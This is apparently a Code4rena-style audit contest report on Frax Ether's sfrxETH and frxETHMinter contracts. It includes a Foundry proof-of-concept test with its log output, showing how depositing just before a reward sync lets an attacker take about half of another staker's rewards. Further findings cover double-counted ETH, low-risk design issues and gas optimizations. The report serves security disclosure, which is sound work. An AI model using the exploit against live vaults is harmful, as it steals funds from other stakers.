Frax Ether Liquid Staking contest - ronnyx2017's results

Lines of code

https://github.com/corddry/ERC4626/blob/643cd044fac34bcbf64e1c3790a5126fec0dbec1/src/xERC4626.sol#L45-L62 https://github.com/corddry/ERC4626/blob/643cd044fac34bcbf64e1c3790a5126fec0dbec1/src/xERC4626.sol#L78-L97

Vulnerability details

Impact

The attacker can steal part of the rewards that does not belong to him. And the attacker can keep the frxETH liquid most of the time rather than locked in the stake contract.

Proof of Concept

The attacker can deposit frxETH to the sfrxETH after the next rewards received and before the syncRewards function is called. And then call syncRewards immediately and wait for withdrawing frxETH at the reward cycle end. The attacker stole rewards from others because the share price didnt include the rewards when he deposited, but included all of the rewards at the reward cycle end.

Add this test function to the foundry test contract https://github.com/code-423n4/2022-09-frax/blob/main/test/frxETH_sfrxETH_combo.t.sol

// import console at the head of the test file
import { Test,console } from "forge-std/Test.sol";

    function testCrossOverCycle() public {
        uint need_eths = 32 ether;
        // 1 ether / ~10 cycle for 1 VALIDATOR (32 ether)
        uint mock_cycle_earn = 1 ether;
        
        // mock a normal user (victim)
        address mock_normal_user = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
        mintTo(mock_normal_user, need_eths);
        vm.prank(mock_normal_user);
        frxETHtoken.approve(address(sfrxETHtoken), need_eths);
        // Generate sfrxETH
        vm.prank(mock_normal_user);
        sfrxETHtoken.deposit(need_eths, mock_normal_user);

        // address(this) is the attacker
        mintTo(address(this), need_eths);
        frxETHtoken.approve(address(sfrxETHtoken), need_eths);

        require(sfrxETHtoken.totalAssets() == need_eths, "only 32 ether now");

        // 10 cycle - 100s
        vm.warp(10_000-100);

        // Mint frxETH "rewards" to sfrxETH. This mocks earning ETH 2.0 staking rewards.
        mintTo(address(sfrxETHtoken), mock_cycle_earn);

        // normal user options
        // Sync with new rewards
        sfrxETHtoken.syncRewards();
        require(sfrxETHtoken.lastRewardAmount() == mock_cycle_earn);  
        require(sfrxETHtoken.lastSync() == 9900);  
        require(sfrxETHtoken.rewardsCycleEnd() == 10000);  
        require(sfrxETHtoken.totalAssets() == need_eths);
        require(sfrxETHtoken.convertToShares(need_eths) == need_eths); // 1:1 still

        // Fast forward to cycle end
        vm.warp(10_000);
        console.log("10 cycles end");
        console.log(sfrxETHtoken.totalAssets(), "32 + 1 ether");
        console.log(sfrxETHtoken.convertToAssets(sfrxETHtoken.balanceOf(mock_normal_user)), "32 + 1 ether");

        // any sync is ok before receive earning 
        vm.warp(14_000);
        sfrxETHtoken.syncRewards();
        vm.warp(18_000);
        sfrxETHtoken.syncRewards();

        // skip to 20 cycle - 100s
        vm.warp(20_000 - 100);
        // receive earning
        mintTo(address(sfrxETHtoken), mock_cycle_earn);

        // attack
        sfrxETHtoken.deposit(need_eths, address(this));
        sfrxETHtoken.syncRewards();
        vm.warp(20_000);
        console.log("20 cycles end");
        console.log(sfrxETHtoken.totalAssets());
        console.log(sfrxETHtoken.convertToAssets(sfrxETHtoken.balanceOf(mock_normal_user)), "<-- should be 32 + 2 ether"); 
        console.log(sfrxETHtoken.convertToAssets(sfrxETHtoken.balanceOf(address(this))), "<-- should be 32 + ~0 ether, because just deposited 100s ago, rewards should be very small");
    }

Test Log with command forge test --match-contract xERC4626Test --match-test testCrossOverCycle -vvv

Running 1 test for test/frxETH_sfrxETH_combo.t.sol:xERC4626Test
[PASS] testCrossOverCycle() (gas: 282947)
Logs:
  10 cycles end
  33000000000000000000, 32 + 1 ether
  33000000000000000000, 32 + 1 ether
  20 cycles end
  66000000000000000000
  33507692307692307692, <-- should be 32 + 2 ether
  32492307692307692307, <-- should be 32 + ~0 ether, because just deposit 100s ago, rewards should be very small

You can see the attacker stole about a half of the rewards belonged to the mock_normal_user in 100 seconds , and the attacker can withdraw from the contract directly at the end of the cycle to realse the frxETH liquidity for more yield.

The interval of the reward cycles and the earnings arrival time have a big impact on the attack. But, according to the official documentation, the reward cycle will be just a few seconds, for example its 1000 seconds in the contract deploy script (https://github.com/code-423n4/2022-09-frax/blob/main/script/deployGoerli.s.sol#L20) and its about X seconds in the code comment (https://github.com/code-423n4/2022-09-frax/blob/main/src/sfrxETH.sol#L34). And the rewards in the protocol treasury will be sent to sfrxETH vault every 7 days, which is shown in the Flowchart of the documentation (https://github.com/code-423n4/2022-09-frax/blob/main/README.md#flowchart).

So, it will be more worse in the real production situation, compared with the test case above.

Tools Used

foundry

Recommended Mitigation Steps

It is better to divide the cycle according to the time when the reward arrives.

Lines of code

https://github.com/code-423n4/2022-09-frax/blob/main/src/frxETHMinter.sol#L166-L174 https://github.com/code-423n4/2022-09-frax/blob/main/src/frxETHMinter.sol#L191-L196 https://github.com/code-423n4/2022-09-frax/blob/main/src/frxETHMinter.sol#L114-L116

Vulnerability details

Impact

It will lead to duplicating accounting for the Eths which have been already converted to the frxETH tokens. It means Eth:frxEth will not be 1:1, and eventually leads to decoupling.

Proof of Concept

The function moveWithheldETH will send the amount of the Withheld ETH in the contract to the address to. It doesnt check if the to address is the frxETHMinter contract itself.

And the frxETHMinter has the receive function which will submit any eth received to the frxETH.

/// @notice Fallback to minting frxETH to the sender
    receive() external payable {
        _submit(msg.sender);
    }

But these parts of Eths (WithheldETH) also have been converted to the frxETH normally when they were sent to the contract at the first time.

    function _submit(address recipient) internal nonReentrant {
        // Initial pause and value checks
        ...
        // Give the sender frxETH
        frxETHToken.minter_mint(recipient, msg.value);

So these Eths will be accounted, Twice, even more. It means Eth:frxEth will not be 1:1 anymore.

The function recoverEther has the same problem. Although these two functions can only be called by owner or DAO gov. It seriously affects financial stability.

Recommended Mitigation Steps

Furthermore, due to the logic receive() -> submit(), any kind of transaction that withdraw ETH from the contract and then send it back will cause the same problem.

A non-feedback paybale empty function that does not use _submit() should be added to receive special ETH without increasing the frxeth supply.

Low Risk Issues

1. The validator status in the activeValidators cant be modified

Lines of code:

https://github.com/code-423n4/2022-09-frax/blob/main/src/frxETHMinter.sol#L140-L151

There is no function to modify the elements status of activeValidators. If any validator exits the verification for various reasons (penalty or exit), it cannot join the verification again through frxETHMinter.

2. Lack of liquidity in the design of economic models

The swap from Eth to frxEth is unidirectional.

I can understand that this is the demand of the ETH2.0 stack at this stage. But it needs to design more schemes to ensure the liquidity of the frxETH token and add a logic about redemption commitment with a non-fixed date.

Otherwise, the existing measures are difficult to ensure non-decoupling in the future.

1. rewardsCycleEnd Calculation

Lines of code:

https://github.com/corddry/ERC4626/blob/643cd044fac34bcbf64e1c3790a5126fec0dbec1/src/xERC4626.sol#L40

and

https://github.com/corddry/ERC4626/blob/643cd044fac34bcbf64e1c3790a5126fec0dbec1/src/xERC4626.sol#L89

Pseudocode:

rewardsCycleEnd = (timestamp / rewardsCycleLength) * rewardsCycleLength;

Using a DIV opcode and a MUL opcode with gas cost (5+5) .

Optimization:

rewardsCycleEnd = timestamp - (timestamp % rewardsCycleLength)

gas cost (3+5)

2. frxETHMinter constructor with no need for zero initialization

Lines of code:

https://github.com/code-423n4/2022-09-frax/blob/main/src/frxETHMinter.sol#L63-L64

Delete the two lines.

        withholdRatio = 0; 
        currentWithheldETH = 0;

It will save about 4660 gas during the contract deployment.

3. Dynamic array elements deletion optimization

Lines of code:

https://github.com/code-423n4/2022-09-frax/blob/main/src/OperatorRegistry.sol#L106-L119

The solidity delete is not an evm opcode. It's essentially a series of write operation with zero. It's very expensive especially when dealing with dynamically nested structures.

Optimization:

If you don't consider changing the overall algorithm (such as adding the soft delete flag bit), 

You can iterate the array from the index to be deleted, overwriting the previous element with the latter element, and finally POP the last element. This will reduce GAS usage by at least about 2/3.

4. change some functions modifier from public to external

Lines of code:

https://github.com/code-423n4/2022-09-frax/blob/main/src/OperatorRegistry.sol#L82

https://github.com/code-423n4/2022-09-frax/blob/main/src/OperatorRegistry.sol#L93

These functions should be external to save gas.